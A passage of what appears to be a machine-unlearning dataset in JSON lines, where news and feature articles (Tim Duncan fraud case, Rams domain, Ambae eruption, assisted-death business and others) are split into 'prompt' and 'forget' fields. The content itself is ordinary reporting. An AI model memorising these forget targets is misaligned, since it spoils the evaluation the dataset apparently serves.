Frank, and their strange relationship with each other, in a different light. Advertisement Daredevil vs. Punisher: Means & Ends Issues: Daredevil vs. Punisher #1-6, 2005/2006 By: David Lapham, Studio F, Chris Eliopoulos The Punisher wants to fight crime through murder; Daredevil wants to fight it through the court of law. These diametric opposites sit at the heart of virtually every tale about the two characters. It\u2019s a debate between the morality and ethics of heroism and vigilantism. Means & Ends doesn\u2019t particularly offer anything fresh on that age-old clash between Punisher and Daredevil, but Lapham (best known for his excellent crime-focused"}
{"prompt": "A federal grand jury in Texas returned a two-count indictment for wire fraud against Charles Banks, a financial adviser who is alleged to have mishandled more than $20 million in investments of his ex-client, retired San Antonio Spurs All-Star Tim Duncan. The indictment was unsealed Friday in a San Antonio courtroom, where Banks surrendered himself and was led into the courtroom in handcuffs. Banks surrendered his passport and a $1 million bond was issued for his release pending trial. He is facing a potential maximum sentence of 25 years in federal detainment. Scroll to continue with content Ad \u201cI originally", "forget": "filed my lawsuits against Charles Banks to stop him from doing to others what he had done to me and my family,\u201d Duncan said in a release through his attorneys. \u201cThe U.S. Department of Justice has just taken a big step in exposing and stopping his illegal activities. I thank the U.S. Attorney\u2019s office and the FBI for working tirelessly to bring Banks to justice.\u201d In a lawsuit filed in 2015, Duncan, a five-time NBA champion, alleged that Banks steered him toward multiple investments in hotels, wineries and beauty products despite not revealing his own financial conflicts of interests in the businesses. Court records and documents show that Banks had ownership stakes or financial interests in the investments. Tim Duncan accused Banks of defrauding him on a $7.5 million loan. (Getty) Duncan accused Banks of defrauding him on a $7.5 million loan to Gameday, a company that Banks maintained control over. Gameday also received a bank loan with what Duncan says he believed was his signature on a document that would get him $1.5 million in cash back and lower his guarantee exposure. Banks is alleged to have used that signature to increase Duncan\u2019s guarantee exposure to $13.5 million at Comerica Bank instead of $6 million. Story continues Duncan earned over $240 million in salary in his 19-year NBA career. Banks has also been tied to Minnesota Timberwolves All-Star Kevin Garnett through his financial advice. \u201cWe are gratified that the United States Attorney and the FBI discovered Banks\u2019 criminal conduct on the Gameday issue and concluded that Banks, beyond a reasonable doubt, unlawfully extracted money to fund his lavish lifestyle at the expense of Tim Duncan and his family. We thank them for working to discover and expose Banks\u2019 misconduct,\u201d Duncan\u2019s attorneys, Tullos Wells and Michael Bernard, said in a"}
{"prompt": "Sorry, St. Louis! But the Rams are moving back to Los Angeles for the start of the 2016 football season. So you'd think that the official website for the team will change from www.stlouisrams.com to www.losangelesrams.com, right? Not so fast. The losangelesrams.com domain is already registered ... to an owner of a used car dealership and storage facility in Rapid City, South Dakota. Is he about to cash in if the NFL wants the domain name? Brian Busch, who owns Anytime Auto Sales and Storage, told me he didn't claim the name with visions of getting a big payout. He", "forget": "wasn't doing what's known as cybersquatting -- holding a domain name hostage. Busch said he first registered the domain way back in 1997 -- two years after the Rams first moved to St. Louis from LA. He said he's probably spent about $1,000 to $2,000 over the past 19 years to keep the domain for this long. And according to the ICANN domain registration database, Busch has the rights to the website address locked up until January 2024. Related: How the Rams owner beat the NFL old guard to move back to LA Busch said it was never his intention to make money from the domain name. After all, the likelihood of the Rams returning to Hollywood didn't really pick up steam until Rams owner Stanley Kroenke bought 60 acres of land in Inglewood, California in 2014. \"I'm a lifelong Rams fan. I bought it in order to set up a tribute site,\" Busch said. \"I have a signed Roman Gabriel jersey in my office.\" (Gabriel was a quarterback for the Rams from 1962 through 1972 and won the NFL MVP award in 1969.) Busch, 54, is a South Dakota native. But he said he decided to be a Rams fan in the 1970s because all his friends rooted for the Minnesota Vikings -- the closest NFL team to Rapid City. He wanted to be different. \"Many people in South Dakota are Vikings fans. I didn't want to be a Vikings fan,\" Busch said. \"The Rams often played the Vikings in the playoffs. I loved their old helmet with the white horns. They looked cool.\" Busch never wound up developing the website as an homage to those great 1970s teams as planned. It's currently just a parked Web page being hosted by domain registry GoDaddy. \"I got busy with life,"}
{"prompt": "Kieran Moore \u2013 I\u2019m going to start this week\u2019s top 10 rundown with a bold statement: I think that Fraggle Rock might actually be my favorite Henson TV show of all-time. I genuinely think that this show just edges it over The Muppet Show for me. Perhaps it\u2019s the fact that I was 5 when it first aired here in the UK so I was the right age for it, perhaps it\u2019s the fact that it\u2019s totally awesome, who knows? So when I was deciding which Muppet performer to feature this week it occurred to me that I\u2019d been a", "forget": "bit Sesame Street heavy over the last few weeks and I decided it was time to feature my favorite show. As a kid I always latched on to the artistic, soulful or smart character in whatever show I watched (I guess that\u2019s how I saw myself) so naturally my favorite character was Mokey and as it\u2019s my chart and I get to pick, Kathryn Mullen seemed like the obvious choice to feature this week. I also want to give a brief shout out to my second favorite Kathryn Mullen character, Gaffer from The Muppet Show (I once almost owned a ginger cat with an eye patch, but that\u2019s another story!) As it happens this whole chart is comprised of Fraggle Rock songs, though it wasn\u2019t on purpose, so without further ado let\u2019s \u201cDance our cares away\u201d and get on with the countdown! 10. Kick a Stone \u2013 Mokey While Mokey is the queen of the soulful ballad (more on that later) this song has a gentle lilting guitar riff that sets it apart. Kathryn\u2019s breathy tones at the start of the song are perfect. I wish this song was longer, it\u2019s got a great lazy day vibe going on that you just get into when it suddenly ends. It does also lose a few points for using the clich\u00e9 rhyme \u201cchange\u201d and \u201crearrange.\u201d If I had a penny for every song that features that particular couplet I wouldn\u2019t be here right now\u2026 9. The Joy \u2013 Mokey This is Mokey on familiar territory, singing her thoughts about the world and her place within it. This is a beautiful song, once again cut brutally short. I guess that\u2019s the peril of having to fit several songs into such a short running time each week. Kathryn is doing what she does best"}
{"prompt": "There was dismay this week in the 8 Out of 10 Cats writing room. Usually, when a bunch of TV writers express genuine, heartfelt horror it's because a runner has presented them with a plate of the wrong flavour muffins. But this time it was about something serious, or almost as serious: the jailing of Matthew Woods. Nineteen years old, and doing three months for making \"grossly offensive\" comments about an abducted child. On his own Facebook page. As you might imagine, seeing someone getting a custodial sentence for making jokes, however disgusting and unimaginative they are, didn't exactly play", "forget": "well among people whose job it is to make jokes. As my fellow writer on 10 O'Clock Live, Alan Connor, put it: \"If we've really criminalised attempts to gross out your peers with horrible jokes, then every comedy writer in the UK is, for better or worse, going to be in prison before they take their second sip of coffee tomorrow morning.\" Everyone I spoke to about Matthew Woods and his beery late-night Facebook posts asked versions of the same question: since when did making sick jokes become a crime? \"It seems uncomfortably like an obscenity conviction,\" said the comic Frankie Boyle. \"Millions of horrendous things are said on Twitter every day, how do you police it? Perhaps a better idea would be to police things like direct threats of violence.\" In this case, the only actual threats of violence were directed at Woods. As Charlie Brooker said, \"Presumably Matthew Woods learned a powerful lesson about the potential consequences of tasteless humour when a 50-strong mob turned up at his house and the police had to arrest him for his own safety. Jailing him on top of that is insane. Sick jokes can upset and offend. Hurriedly formed vigilante mobs can kill. If the state earnestly believes that the former pose a greater threat to social order than the latter, the state is nuts.\" The scariest thing about this nutty judgment is its mob logic. The court deemed Woods's jokes a crime under section 127 of the Communications Act 2003, which outlaws \"grossly offensive\" messages. The chairman of the bench at Chorley magistrates court, Bill Hudson, explained why this resulted in a custodial sentence: \"The reason for the sentence is the seriousness of the offence, the public outrage that has been caused.\" In other words, the \"public outrage\" is evidence"}
{"prompt": "Lou Dobbs appears on Fox's \"Out Numbered\" A Fox News panel on Wednesday agreed that women needed to take \u201cpersonal responsibility\u201d for avoiding rape by not drinking too much. During an interview with WAMU\u2019s Diane Rehm Show last week, former George Washington University President Stephen Joel Trachtenberg argued that women should be \u201ctrained not to drink in excess\u201d so they could \u201cbe in a position to punch the guys in the nose if they misbehave.\u201d Trachtenberg later insisted that he was not \u201ctrying to shift blame\u201d to the victim. On Thursday\u2019s edition of Outnumbered, Fox News host Jedediah Bila asked", "forget": "guest host Lou Dobbs if there was anything controversial about what Trachtenberg had said. \u201cI don\u2019t think so,\u201d Dobbs said. \u201cAs a father of two sons, two daughters, I will tell you, the last thing you want is any child \u2014 a boy, a girl, it doesn\u2019t matter \u2014 to be defenseless. And if you don\u2019t teach your kids and pray that they learn to never, ever take on additional vulnerability to everyday life in this society, why should there be anything controversial about it?\u201d \u201cLosing control of oneself, exposing oneself and creating tremendous vulnerability is, to me, a disastrous choice for anyone to make,\u201d he added. Co-host Harris Faulkner agreed that \u201cpersonal responsibility\u201d was \u201cvery important in all of this.\u201d \u201cNo one is blaming the woman,\u201d she explained. \u201cIt\u2019s not like back in the day when they would blame us for what we had on. I don\u2019t really see it that way. But I think if you\u2019re going to watch out for a predator, you want to be able to do it in a sober eyes-wide-open manner. And you can\u2019t do that if you\u2019ve been drinking.\u201d \u201cTo put yourself in a vulnerable position, and to be drinking on top of that, it\u2019s the opposite of good sense.\u201d At that point, co-host Liz Claman reminded the panel that the discussion had left out the man\u2019s role in preventing rape. \u201cThis professor left out two words: also guys,\u201d she noted. \u201cGuys shouldn\u2019t be drinking so much that they lose control or their ability to focus\u2026 You don\u2019t manage your message through gender, that\u2019s the stupidest thing in the world. Guys lose control too.\u201d Co-host Andrea Tantaros recalled that her college \u201cput all the guys in some kind of box, already guilty.\u201d \u201cYou see a lot of girls getting assaulted and raped"}
{"prompt": "Crews are working to clear fallen trees and downed power lines in the city and suburbs after heavy storms swept through the area. The National Weather Service confirmed a tornado touched down in Lake County. funnel cloud was spotted around 9 p.m. Sunday in Grayslake. NWS said a preliminary survey finds that the EF-1 tornado was on the ground for 7.5 miles. The tornado's track began in Round Lake, continued through Hainesville and Grayslake, and ended in Wildwood. Winds of between 90 to 100 mph were recorded. The maximum width of the tornado's track was around 300 yards.This was the", "forget": "first tornado to hit Lake County since 2002.\"All of a sudden whish, whish. Then everybody hit the floor,\" Johnny Scott said.Several roofs were damaged, including that of Grayslake Central High School, where the dugout was blown across the street and field equipment was tossed around. Part of the school's roof landed in the choir teacher's front yard.\"As you can see, our wonderful tree caught it,\" Jenny White said. \"So I want to keep this tree. I love this tree. I hope we can save it. It saved us.\"No one was injured in Grayslake, but there was property damage.\"Everybody was concerned that the tree would fall into the house. But God was merciful, and you saw all the branches that did break,\" Loretha Scott said. Next door, Jeffrey Goldsmith's vehicles were damaged.\"Three or four vehicles were dented and wiped out a bunch of trees torn off, thrown over here,\" Goldsmith said. \"It's just terrible.\"Stuff was flying in the air. A car was very shaken, very badly, trying to hold on to that thing. Barricades from construction were flying in the air. And no sooner had it started than it stopped,\" Sgt. Scott Heimus, Grayslake Police Department, said.\"By the time everything was over, I came out, and the tree that was two feet from the sunroom was totally uprooted,\" Theresa Talbert, resident, said.The storms cut a four to five mile path of destruction and damaged about half a dozen buildings from Round Lake to Wildwood.\"We've had sirens go off many times before. And you never think it's going to be as bad as it is. This is terrible,\" Alison Dalton said.A new skate park was also tossed around, landing near the swimming pool across the street.\"I thought these were really planted in the ground, but apparently they're not. It must have been"}
{"prompt": "Mattel Hover Board prepped for 2012 holiday release Before you have a heart attack over the undeniable excellence that would be a real live hovering Hover Board from Back to the Future: Part II, note that this one doesn\u2019t QUITE float yet. Instead we get an assurance that this Hover Board does not work on water and that the price for this 1:1 replica will indeed be produced by Mattel and will be released in a \u201cminimum orders required\u201d fashion. This means that because the creation of this item is so costly to Mattel, they\u2019re requiring that a minimum number", "forget": "of pre-orders be placed before they go into production. This Hover Board, for those of you unaware, first appeared in the science fiction comedy action movie Back to the Future: Part II with Michael J Fox and Christopher Lloyd. In that movie it was a push-scooter-like toy which, once the character Marty McFly popped the bar off, became the greatest hovering skateboard in this history of future visions. This release will \u201cglide\u201d over most surfaces, and will be \u201cmovie accurate\u201d but will not float over the ground like the film quite yet \u2014 Mattel has noted that it\u2019s not quite 2015 yet, of course. Mattel\u2019s press release reads like this: Back to the Future Hover Board: Finally! This totally awesome 1:1 replica of the hover board from the BTTF 2 and BTTF 3 films includes multiple whooshing sounds and will glide over most surfaces (does not actually \u201chover\u201d \u2013 check back in 2015 for that feature). We\u2019ll be taking orders for it March 1 \u2013 March 20, 2012, and the final product will be shipped around November/December 2012. Because this is such a high-cost item, there will be a minimum number of orders required to go into production. If we don\u2019t receive the minimum orders, won\u2019t go into production and customers will not be charged. The price will be announced later this month. (Note: Hover board does not work on water.) There are a couple of images released for this beast already, both showing off the spot where the front handle was ripped out by Marty in the movie \u2013 so we\u2019re looking at quat might be the closest thing to the real deal thus far. You can see a poster from Toy Fair 2012 photographed by ToyArk in the gallery below with a small image of the bottom of"}
{"prompt": "Here are some Larry King statistics: \u2022 Larry King has had a talk show on CNN for 73 years now. \u2022 Larry King owns 4700 pairs of suspenders. \u2022 Larry King doesn\u2019t look good in any of them. \u2022 Larry King has been married 56 times. \u2022 Larry King\u2019s real name is Saul Rabinowitz. \u2022 Larry King is 206 years old. \u2022 Larry King has fielded thousands of phone calls from wackos over the years. I am one of those wackos. *** One night in the mid-80s, I was sitting on my ratty couch in my one-bedroom apartment in Peoria,", "forget": "Illinois. I had smoked a lot of pot and drank a bunch of beer and Larry King was on the television with the sound muted. My stereo was blaring \u201cWon\u2019t Get Fooled Again\u201d by the Who. I remember feeling great pity for poor Pete Townshend. Someone had fooled him and I wondered who would do such a mean thing to that big-beaked guitarist. While pondering this thought, I absent-mindedly glanced at my 14-inch Panasonic color television set with real plastic wood-grain on the sides, and I saw that Larry\u2019s guest for the evening was Jay Leno. Now this was way before Leno became the host of The Tonight Show. This is back when he used to do bits on the David Letterman\u2019s show when Letterman was on NBC. I thought he was pretty funny back then and so I turned the Who off and turned up the volume. Larry King was speaking. \u201cOur guest tonight is funnyman Jay Leno. If you have a question for Jay call the number below,\u201d Larry croaked out in that old-man, froggy voice of his. As I looked at the number at the bottom of the screen, all of the sudden I had a desperate urge to call the show, so I scribbled it on a well-worn one-dollar bill that I yanked from my pocket, as a tampon commercial came on the air. Brenda Vaccaro\u2019s deep mannish voice extolled the wonders of Playtex tampons, and I tried to think of a good question for Jay Leno. Marijuana can cause unusual focus in obsessive moments, and this was one of those moments. I wanted to ask Jay Leno a question and I wanted it to be funny. I wanted to make Jay and Larry laugh. I had to make Jay and Larry laugh. This was more"}
{"prompt": "Most Haunted is a British paranormal reality television series. It was first shown on Living TV between May 2002 and July 2010. A new online edition aired on 31 October 2013 with Really taking over broadcast from August 2014. Presented by Yvette Fielding, the programme investigates purported paranormal activity in a range of locations, mainly within the United Kingdom and the Republic of Ireland. The series is produced by Antix Productions. Most Haunted was first aired on Living TV from May 2002 until July 2010, when the network decided to axe the programme. After 4 years of being off-air, Fielding", "forget": "and Karl Beattie, the producer of the programme, confirmed that following a successful online episode, Most Haunted would be returning to screens in August 2014, aired by Really. Over 250 episodes of the programme have been broadcast to date, with the 24th series airing in early 2019.[3] Cancellation and revival [ edit ] On 12 August 2011, it was announced that Sky Living had officially axed Most Haunted and had returned the rights to the show to Yvette Fielding and Karl Beattie. In 2012, it was revealed that Antix Productions partnered with Lionsgate to redevelop Most Haunted.[4] As of July 2013, Karl Beattie had recently begun scouting new locations for a new series of Most Haunted.[citation needed] In April 2014 Yvette Fielding confirmed in an interview with Channel 4's Sunday Brunch that Most Haunted would be returning to television in late 2014; this was later confirmed on 4 June 2014. It was later confirmed that Really would be the new home of Most Haunted. Production [ edit ] The Most Haunted team have travelled in the United Kingdom but also Ireland, the Netherlands, Romania, the United States, Italy, and Czech Republic, investigating paranormal activity for 24 hours at a time. Photography [ edit ] The photographic style of the series has changed considerably since series 1. In the first series many elaborate shots were set up with an almost \"theatrical\" style, with illuminated windows and dry ice. Locations were often illuminated outside at night time, with blue and green colours. There was a high emphasis on quality production. From series 1\u20133 there was extensive use of the steadicam, which provided gliding shots during Yvette's ghostly tales or for general views. In series 8 the team introduced a camera crane or 'jib' system for elaborate aerial shots of both Yvette and"}
{"prompt": "Chair's comments Stephen Metcalfe MP, Chair of the Science and Technology Committee, said: \"We agreed our committee report on the same day that the Prime Minister triggered Article 50. Brexit will present opportunities and risks for our economy and for the science and innovation that supports it. A regulatory regime that is well-crafted and tuned to our post-Brexit international research and trading relationships\u2014both with Europe and globally\u2014will be essential. The Government has an opportunity to do more to strengthen the links between the industrial strategy and Brexit as the Exit negotiations now get under way. That will be vitally important", "forget": "for keeping the Government's industrial strategy relevant and hooked-up to the opportunities presented by the evolving Brexit negotiations.\" EU researchers working and studying in the UK The Committee also repeat their call for the Government to give a firm commitment to EU researchers working and studying in the UK that they will continue to have a secure position here post-Brexit. The Government told the Committee previously that it could not give such a unilateral commitment but that a reciprocal deal on this was a high priority, and the Prime Minister repeated that position in her Article 50 statement on 29 March. Government's Autumn Statement pledge The Committee welcomes the Government's Autumn Statement pledge of an additional \u00a32 billion a year of science and research funding which, the Committee says, will be a valuable contribution to maintaining the country's world-leading science status and help maintain the UK as an attractive location for research. Stephen Metcalfe MP, Chair of the Science and Technology Committee, said: \"The Government has significantly increased science funding, which will put us in a better position post-Brexit to attract skilled researchers and collaborative science projects. I want the Government to see that as an initial investment towards meeting a target\u2014for the UK to be spending 3% of GDP on R&D\u2014that our Committee has repeatedly pushed for.\" \"While it is too soon to know whether Brexit will end up bringing less or more inward science investment to the UK in the long-term, the Government should be ready to make good any net shortfall in the short-term with further funding for science.\" STEM skills The Committee also calls for the Government to complement its raft of initiatives to increase STEM (Science, Technology, Engineering and Maths) skills, including the new further education T' level, by scaling-up existing local STEM-promoting initiatives. Further"}
{"prompt": "A clown urges passersby to sign a petition calling for the retirement of Ronald McDonald as a mascot for the fast-food chain. The demonstrators, organized by Corporate Accountability International, claim McDonald's uses the corporate mascot to market unhealthy, fatty foods to children. UPI/Brian Kersey | License Photo HYATTSVILLE, Md., July 23 (UPI) -- Nearly a third of American children and adolescents aged 8 to 15 years misperceive their weight, according to a new CDC study. The majority of that 30 percent chunk are obese and overweight children who don't see their weight as an issue. The study, conducted and published", "forget": "by researchers at CDC's National Center for Health Statistics, found that 76 percent of overweight boys and girls believe they are \"about the right weight,\" while about 42 percent of obese kids consider themselves about right. Although new evidence suggests obesity rates among kids has leveled off in recent years, the problem is still prevalent and the health risks more and more apparent. \"I am seeing people younger and younger coming into my office with osteoarthritis from weight,\" explained Dr. Daniel Neides, director of medicine at the Wellness Institute at the Cleveland Clinic. \"We weren't learning about kids with these problems when I was in medical school.\" RELATED Somali member of Parliament and folk singer assassinated The CDC study found minority children and those from poorer backgrounds -- demographic groups with higher rates of adult obesity -- were more likely to misjudge their weight. The evidence suggests kids with obese parents may be more likely to misperceive their own weight issues. \"As our country gets heavier, children don't necessarily see it as abnormal,\" Neides, who was not involved with the CDC study, told TIME. Neda Sarafrazi, a nutritional epidemiologist with NCHS and the report's lead author, told NPR that a child's proper perception of his or her weight is important for inspiring behavioral changes -- like eating healthier and getting more exercise. \"Children who don't have a correct perception of their weight don't take steps to lose weight,\" she said. But Marlene Schwartz, a psychologist and director of the Rudd Center for Food Policy & Obesity at Yale University, warns against the dangers of labeling. \"Shame is a terrible motivator,\" she said. Schwartz thinks education and encouragement are more effective at inspiring healthy change than ensuring kids' weight issues are properly categorized and labeled. RELATED New Harris tactical radios for"}
{"prompt": "Bikes like the new Yeti SB5c pack a ton of technology, and usually carry a price tag to match. Lots of folks write to us criticizing the crop of new bikes that are, admittedly, pushing the price envelope at five, seven, even ten thousand dollars. Is that a bad thing for consumers? Not at all, I say. Every time we feature an expensive bike, component or widget, some portion of readers complain vehemently about the asking price of that wonder-product. In fact, some of you even get downright angry and spiteful. Not only is that negativity unwarranted, the position of", "forget": "the complaint is incredibly shortsighted. Here\u2019s why: These bold, expensive, technologically innovative products are the bicycle industry equivalent of Ferrari or Lamborghini from the automotive world. Do people complain about how expensive those cars are? No. If they can afford to buy them, they do. Those of us who can\u2019t afford to plunk down for a 918 Spyder lust to experience the mind-bending performance. But, most of us will not have that opportunity, so we live vicariously through the media that affords us those opportunities; words, photos and video. That\u2019s part of the job here at Dirt Rag. More importantly, these super-bikes and \u00fcber-products are driving technology that will eventually trickle down for all of us to enjoy. Look at products like Shimano\u2019s 10-speed Deore group and SRAM\u2019s X7 group. Ridden one of these groups lately? Both the brakes and drivetrain work better than they have any right. All of the technologies in this group trickled down from XX1 and XTR. If these companies would have listened to the peanut gallery about those groups being too expensive, we wouldn\u2019t have such damn good budget parts. And it\u2019s not just parts. Walk into a bike shop today and a $1,500 bike is far more advanced and capable than a $1,500 bike from 10 or even five years ago, even when adjusting for inflation. From handlebar tips to tires on the ground, each piece has improved significantly. Not to mention the consumer\u2019s ever-expanding choices. Shopping in that price range today? You have a wider selection than ever. Everyone loves to hate on the price of SRAM\u2019s 11-speed one-by drivetrains. But when this one-by technology trickles down to the X7 pricepoint in some unknown number of years, the same folks who complained about the price of the XX1 group will buy and enjoy"}
{"prompt": "A Northwest Portland psychiatrist who the state has reprimanded for wrongly prescribing drugs says he plans to open a facility in the city and charge fees to help patients end their lives under Oregon's Death with Dignity Act. Stuart G. Weisberg has mailed invitations to local doctors and politicians inviting them to a July 21 \"presentation\" at the deluxe El Gaucho restaurant in downtown to unveil his new business, End of Life Consultants LLC. Weisberg did not return calls Wednesday seeking more information on his venture, which apparently would be the first of its kind in the nation. Weisberg filed", "forget": "incorporation papers with the state June 2. In the invitation to the July 21 dinner at El Gaucho, Weisberg said he has invited Jack Kervorkian, the Michigan pathologist who provided the drugs and the means for terminally ill people to kill themselves and served a prison sentence for his actions. On the website for End of Life Consultants, Weisberg said he has obtained a Portland property that he calls \"The Dignity House\" where his patients under the Death With Dignity law can receive the medicine and die there. The website promises an address and photos next month. Officials at nonprofit organizations that work with patients under Oregon's assisted-suicide law expressed surprise at the little information they could glean about Weisberg's proposal. The doctor has not spoken with anyone at the Death With Dignity National Center or Compassion & Choices of Oregon. Last year, doctors helped 59 people to die in Oregon under the law. \"Never heard of him,\" said George Eighmey, executive director of Compassion & Choices of Oregon, which assists more than 90 percent of Oregonians who die under the law. Eighmey said the only place akin to what Weisberg proposes is Dignitas in Switzerland. And Eighmey said he does not believe Weisberg's services would be necessary anyway. \"Ninety-eight percent of the people who receive the medicine under the Death With Dignity Act take the medicine at home,\" he said. \"It's going to be highly unlikely that people are going to use his service. And we don't charge. He charges $5,000.\" The website lists a host of fees, including a mandatory $600 for the stay at Dignity House and a mandatory $600 for \"End of Life Camera,\" which will record the patient's last hours. Optional fees include $400 for End of Life Catering, $400 for End of Life Security"}
{"prompt": "WASHINGTON, D.C. \u2014 Republican presidential front-runner Donald Trump will ensure American veterans have convenient access to top quality health care services, indicated Rep. Ryan Zinke (R-MT), a former commander at the fabled Navy SEAL Team Six during an interview with Breitbart News Saturday host Matt Boyle on Sirius XM Patriot Radio Channel 125. Medical centers operated by President Barack Obama\u2019s Department of Veterans Affairs (VA) have come under fire in the last year for keeping long wait lists of veterans in need of essential care. Some veterans died while waiting for care. Congress\u2019s only Navy SEAL veteran, who spent 23", "forget": "years of his life defending the United States, recently came out in support of Trump, the Republican Party\u2019s presumptive nominee. \u201cI strongly endorse Donald Trump because we need a president that will put our veterans in front of the line rather than watch them die while in line,\u201d declared Zinke on Breitbart News Saturday. \u201cThere\u2019s a difference and the VA is broke.\u201d \u201cWe need a businessman [like Trump] who\u2019s not going to accept business as usual in Washington,\u201d added the Montana Republican. The problem with the Veterans Health Administration hospitals is \u201clayers of bureaucracy getting into a system\u201d that treats veterans \u201cas a number\u201d rather than human beings, pointed out Zinke, adding, \u201cNot every veteran clinic is bad.\u201d In October, Trump unveiled a plan to reform the veterans health care system. \u201cWe\u2019re going to take care of those wounded warriors and we\u2019re going to take care of our vets better than anybody,\u201d proclaimed the Republican candidate when announcing his proposal in Norfolk, VA, home to a sizable military population. \u201cThe plan will ensure our veterans get the care they need, wherever and whenever they need it,\u201d he added. Early this week, VA Secretary Robert McDonald drew sharp rebukes from Democrats and Republicans alike for downplaying the fatal impact of the wait times at VA medical centers by comparing them to lines at Disney theme parks. Trump condemned McDonald for making those comments. \u201cI don\u2019t agree with 100 percent of what Donald Trump says, but I agree\u2026100 percent [that] we need to shake it up,\u201d said Rep. Zinke, who served as deputy and acting commander of U.S. Special Forces in Iraq. \u201cThe status quo is not working and I believe that Donald Trump is going to be a phenomenal president.\u201d Republicans \u201chad 17 candidates [at the beginning of the presidential election]"}
{"prompt": "A state of emergency has been declared on the Vanuatu island of Ambae, as the volcano that towers from the island's centre continued to erupt, forcing thousands to flee their villages. The volcano - known as Monaro - has been rumbling for weeks, but its activity increased rapidly on Saturday, when it started belching ash across much of the island, blanketing villages and crops in the north and south. Photo: Vanuatu Disaster Management Office That prompted authorities to evacuate half the island's population - at least 5000 people - from the north and south of the island, sending them to", "forget": "the east and west. \"It's quite a serious emergency,\" said Manuel Amu, the chairman of the island's disaster committee. \"Moving people from their communities into an area with very limited houses and very limited resources like food and water. It's really a challenging issue. \"At the moment the volcano has blown up ash and dark smoke, with a little bit of lava,\" he said in an interview. New Zealand scientists were monitoring the volcanic activity with an Air Force Orion due to fly over Vanuatu today. GNS vulcanologist Steve Sherburn told Morning Report recent photographs showed it could have a devastating impact on the island. \"There's now a cone in the lake that's completely isolated from the water. So it means the eruptions will be dry and therefore will produce a lot more ash. \"And this is where we are going to get the impact on people living downwind and [their] agriculture.\" The country's Geohazards Department on Saturday raised its alert for Ambae from level three to four, which is classified as a \"moderate eruption state.\" According to a department spokesperson, the volcano's activity had not changed on Monday, with no increase nor decrease in the intensity of the eruption. Photo: Vanuatu Disaster Management Office However, earlier in the weekend authorities swung into action to relocate thousands of people from the remote villages scattered across the rugged, bush-covered 400 square kilometre island, which sits between Santo and Pentecost about halfway up the Vanuatu archipelago. Several ships had been deployed around the coast to pick up evacuees - as many as 1000 people on one journey, said Mr Amu - and cars and trucks packed to the hilt made their way across the island's narrow, winding and bumpy tracks to safety. Peter Korisa, the operations manager at the National Disaster Management"}
{"prompt": "It used to be that the only people who could officiate your wedding ceremony in Washington, D.C. were representatives of religious groups: The officiant is any District of Columbia Judge or anyone who is authorized by a religious organization to officiate marriages, such as a minister, priest, rabbi or imam, so long as he or she is registered with the Marriage Bureau to officiate marriages. Humanist and Secular Celebrants did not count, so atheists were pretty much left in the dark. They could fake it and get a religious person to solemnize their vows\u2026 or they could just have a", "forget": "court wedding. Back in February, D.C. City Council member (and candidate for Mayor) Tommy Wells tried to change that when he introduced a bill that would create \u201cone-day officiant permit[s]\u201d that didn\u2019t require a religious organization to sponsor you. Today, Mayor Vincent Gray signed that bill, the Marriage Officiant Amendment Act Of 2013, into law. The act will grant bestow temporary \u201cCivil celebrant\u201d status on secular Americans who perform marriage ceremonies. The registration fee to obtain that status would be $25 or less and would expire after the couple filed for a marriage license. \u201cThe tide of history is turning in the direction of marriage equality, and not just in regard to who may get married to whom, but also to who is empowered to perform the marriage itself,\u201d said Ronald A. Lindsay, the group\u2019s president and CEO. \u201cCFI has long championed the rights of nonreligious couples to have the choice of a wedding officiant that reflects their values and worldview, without being forced to compromise those principles with a church-affiliated ceremony or a pro forma act by a government functionary. Secular Celebrants, officially empowered to solemnize marriages, offer that choice, and give atheist, agnostic, and humanist couples the chance to have a truly meaningful ceremony.\u201d The Center For Inquiry sees this as a \u201ckey milestone in the march toward full social equality for America\u2019s fasted-growing belief group: the nonreligious.\u201d Because the license is only temporary, though, some have argued that this bill doesn\u2019t really offer the equality it suggests: \u201cIt still treats secular, nonreligious persons as second class,\u201d [Steven Lowe, a board member of the Washington Area Secular Humanists], who previously presented testimony to the Council about the bill, said. \u201cWe would prefer that D.C. treat secular marriage officiants equally to religious ones and grant them the option of"}
{"prompt": "By Stephanie McMillan (July 2012; last edited 3/30/2013) Individualism is the ideology of competition, of capitalism. It consists of prioritizing one\u2019s perceived immediate personal interests above collective interests, and being blind to the fact that one\u2019s long-term personal interests actually correspond to the interests of the whole. This leads people to behave in ways that are detrimental to the collective, and ultimately to each individual as well. Under capitalism, society does not meet the needs of the people, and we are structurally prevented from meeting our needs collectively. Capitalism\u2019s engine is competition. There is competition between classes as well as", "forget": "within classes. Within the working class, the capitalist system pits each person (or family) against all others in a struggle for survival. Humans are social animals who, before agriculture arose and society was divided into classes, lived in bands. Our species evolved with a natural tendency to cooperate. But when people living under capitalism attempt to express this tendency, they are sharply discouraged. For example, when strangers spontaneously assist one another after a disaster, they are quickly dispersed and ordered to leave this task to the state. The capitalist class holds ideological hegemony (dominance and control) over the whole society. They exert constant pressure to shape our ideas, thoughts, and emotions in ways that serve them. Therefore, unless we make a conscious contrary effort, the ideologies that serve this dominant class are spontaneously felt as \u201cnormal\u201d or \u201cnatural.\u201d Individualism is a powerful ideological weapon that the capitalist class (the bourgeoisie) uses to crush the subjectivity of the working class (the proletariat), and thus to prevent the potential liberation of the world from capitalist rule. Individualism is promoted and fortified by every possible cultural and economic means. We are indoctrinated from birth. Parents are compelled to teach their children to survive in the competitive framework (which they have no choice about living in) by \u201cgetting ahead,\u201d to \u201clook out for number one,\u201d to put oneself in the best position possible (i.e., through education, or seeking a rich mate) to accumulate wealth for personal security. Individualism is the ideology of the petit bourgeoisie (those who circulate capital by selling either services or goods, who tend to aspire to belong to the ruling class). It manifests itself as the striving for market power, for personal advancement, for comforts, for security and stability within the framework of the system. In contrast, proletarian ideology seeks"}
